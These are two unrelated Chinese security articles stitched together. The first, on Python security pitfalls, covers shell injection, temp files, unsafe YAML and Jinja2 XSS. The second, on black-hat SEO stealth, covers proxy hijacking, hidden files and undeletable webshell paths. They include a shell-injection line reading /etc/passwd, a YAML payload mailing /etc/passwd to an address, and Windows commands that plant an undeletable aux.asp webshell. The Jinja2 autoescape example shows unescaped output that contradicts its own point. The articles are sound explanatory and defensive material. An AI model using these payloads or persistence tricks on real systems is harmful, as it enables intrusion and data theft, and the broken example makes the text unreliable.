一旦未经验证的用户输入到达调用功能(或子流程模块中实现的其他功能)，便会产生漏洞。
>>> from subprocess import call
>>> unvalidated_input = '/bin/true'
>>> unvalidated_input += '; cut -d: -f1 /etc/passwd'
>>> call(unvalidated_input, shell=True)
root
daemon
bin
sys
sync
games
man
lp
mail
news
......
0
通过将 shell 关键字保留为默认的 False 状态并将命令向量及其参数提供给子进程函数，不调用 UNIX shell
来执行外部命令显然要安全得多。在第二种调用形式中，shell既不解释也不扩展命令或其参数
>>> from subprocess import call
>>> call(['/bin/ls', '/'])
bin etc initrd.img.old lost+found opt run sys var
boot home lib media proc sbin tmp vmlinuz
dev initrd.img lib64 mnt root srv usr vmlinuz.old
0
如果应用程序的性质决定了使用 UNIX Shell 服务，则彻底清除子进程中的所有内容以确保恶意用户不会利用不需要的Shell功能是绝对重要的。在较新的
Python 版本中，可以使用标准库的 `shlex.quote` 函数完成 shell 转义
# Temporary files
尽管基于对临时文件的不当使用的漏洞攻击了许多编程语言，但它们在Python脚本中很常见。
这种漏洞利用了不安全的文件系统访问权限，可能涉及中间步骤，最终导致数据机密性或完整性问题。有关该问题的详细说明，请参见[CWE-377](http://cwe.mitre.org/data/definitions/377.html)。
幸运的是，Python在其标准库中增加了 tempfile 模块，该模块提供了高级功能，可以 "以尽可能最安全的方式" 创建临时文件名。当心有缺陷的
tempfile.mktemp 库，由于向后兼容的原因，该实现仍存在于库中。绝对不能使用tempfile.mktemp函数，而是使用
tempfile.TemporaryFile 或 tempfile.mkstemp(如果您需要临时文件在关闭后保留)。
另一种造成漏洞的可能方式是使用 shutil.copyfile 函数。这里的问题是目标文件是以最不安全的方式创建的。
开发人员可能会考虑先将源文件复制到随机的临时文件名，然后将临时文件重命名为其最终名称。如果将其用于执行重命名，则可以通过 shutil.move
函数使其变得不安全。如果临时文件是在最终文件所在的文件系统以外的文件系统上创建的，shutil.move将无法通过 os.rename
移动它，并且会静默地求助于不安全的 shutil.copy 。由于 shutil.copy
无法复制所有文件元数据而可能导致进一步的复杂性，从而可能使创建的文件不受保护。
# Insecure deserialization
目前存在许多数据序列化技术，其中Pickle专为对Python对象进行反序列化而设计。它的目标是将活动的Python对象转储到八位字节流中以进行存储或传输，然后将其重构回可能的另一个Python实例。
如果篡改了序列化的数据，则重建步骤具有固有的风险。 Pickle的不安全性在Python文档中得到了很好的认识并得到了明确记录。
作为一种流行的配置文件格式，YAML不一定被认为是能够欺骗解串器执行任意代码的强大序列化协议。但是，事实上 python中实现 YAML 的默认库
PyYAML 是存在风险的。
>>> import yaml
>>>
>>> dangerous_input = """
... some_option: !!python/object/apply:subprocess.call
... args: [cat /etc/passwd | mail [email protected]]
... kwds: {shell: true}
... """
>>> yaml.load(dangerous_input)
{'some_option': 0}
建议的解决方案是始终使用 yaml.safe_load 来处理您不信任的YAML序列化。
# Templating engines
Web应用程序作者很早以前就采用Python。在过去的十年中，已经开发了许多Web框架。他们中的许多人利用模板引擎从模板和运行时变量生成动态Web内容。除了Web应用程序之外，模板引擎还进入了完全不同的软件中，例如Ansible
IT自动化工具。
从静态模板和运行时变量呈现内容时，存在通过运行时变量进行用户控制的代码注入的风险。对Web应用程序成功发起的攻击可能会导致跨站点脚本漏洞。服务器端模板注入的通常解决措施是在将模板变量插值到最终文档之前对其进行清理。可以通过拒绝，剥离或转义任何给定标记或其他特定于域的语言的特殊字符来进行清理。
不幸的是，模板引擎似乎不默认使用转义机制
>>> from jinja2 import Environment
>>>
>>> template = Environment().from_string('')
>>> template.render(variable='<script>do_evil()</script>')
'<script>do_evil()</script>'
如果使用转义机制
>>> from jinja2 import Environment
>>>
>>> template = Environment(autoescape=True).from_string('')
>>> template.render(variable='<script>do_evil()</script>')
'<script>do_evil()</script>'
另一个复杂之处是，在某些案例中，程序员不希望清理所有模板变量，有意地保留其中一些保留潜在危险内容的模板。 模板引擎通过引入 "过滤器"
来满足程序员的需求，使程序员可以明确地清理各个变量的内容。 | 社区文章 |
此系统文章总共分为四篇，分别是手法篇、工具篇、隐藏篇、总结篇；本篇为隐身篇，主要介绍黑帽seo中一些隐身的手段。黑帽seo与其他黑产行为不同的是，它需要时间去创造价值。如果是倒卖数据，只需要入侵服务器脱裤走人，而黑帽seo需要潜伏在服务器上一段时间，因为它主要靠引流来创造价值。那么如何做到不被服务器运维发现就至关重要了，也是黑帽seo行为是否能最终成功的关键。
<!-- more -->
### 隐身的技术
在处理的一些入侵应急响应事件中，我们发现有些网站被挂恶意页面达数月甚至数年之久，而在此期间管理员竟然毫无察觉。有时这并非是管理员的粗心大意，而是黑客过于狡猾。在了解了我之前所介绍的网页劫持手段后，我想你大概能了解这其中的缘由了，网页劫持能控制跳转控制页面呈现的内容，这便是难以被管理员发现的主要原因。除此之外，寄生虫程序能够自动生成网页也使得其生存能力很强，不易被根除。其次我们在发现网站被挂恶意网页后，通常会登录服务器进行查看，而有时我们很难找到被非法篡改或者被恶意植入的脚本文件，因为此类型文件被黑客精心地隐藏了起来。那么除了上述手段之外，黑客还有哪些手段来隐藏自身，使之生生不灭？
#### 网页劫持控制跳转
网页劫持中的控制跳转就是为了隐藏网站已被入侵的事实，让网站管理员不容易发现。
#### nginx二级目录反向代理技术
通过配置nginx/apache等中间件配置文件设置目录代理，将服务器上某个目录代理到自己搭建服务器上的某个目录。即浏览者在打开thief.one/2016/目录时，实际访问到的资源是自己服务器上的某个目录（目标服务器会去自己服务器上拿数据）。这种手法不需要修改目标服务器网站源码，只需要修改中间件配置文件，不易被删除也不易被发现。
#### 隐藏文件
给文件设置属性隐藏。我曾经遇到过此类事件，当时我们一个技术人员通过肉眼选择了服务器上一批web目录下的文件进行copy。而当我们对这些文件进行扫描时，并未发现任何异常，一切都变得匪夷所思。而最后的结果让我们哭笑不得，原来恶意文件被设置成了属性隐藏，通过肉眼观察的技术人员并没有将此文件copy下来，因此这也算是一种有效的障眼法。
#### 不死文件
不死文件指的是删除不了的webshell或者是非法页面文件（.html或者动态文件），此类事件在实际中没有遇到过，但理论上确实可行。
##### 设置畸形目录
目录名中存在一个或多个. (点、英文句号)
md a..\
该目录无法被手工删除，当然命令行可以删除
rd /s /q a..\
##### 特殊文件名
其实是系统设备名，这是Windows
系统保留的文件名，普通方法无法访问，主要有：lpt,aux,com1-9,prn,nul,con，例如：lpt.txt、com1.txt
、aux.txt，aux.pasp，aux.php等。
echo hello>\\.\c:\a..\aux.txt
##### 畸形目录+特殊文件名
md c:\a..\
echo hello>\\.\c:\a..\aux.asp #注意：这里的路径要写绝对路径（上传的aux.php木马可以被执行）
删除：
rd /s /q \\.\c:\a..\
方法还有很多，不一一列举了。
### 传送门
[黑帽SEO剖析之总结篇](https://thief.one/2017/09/28/4/)
[黑帽SEO剖析之隐身篇](https://thief.one/2017/09/28/3/)
[黑帽SEO剖析之工具篇](https://thief.one/2017/09/28/2/)
[黑帽SEO剖析之手法篇](https://thief.one/2017/09/28/1/) | 社区文章 |
Subsets and Splits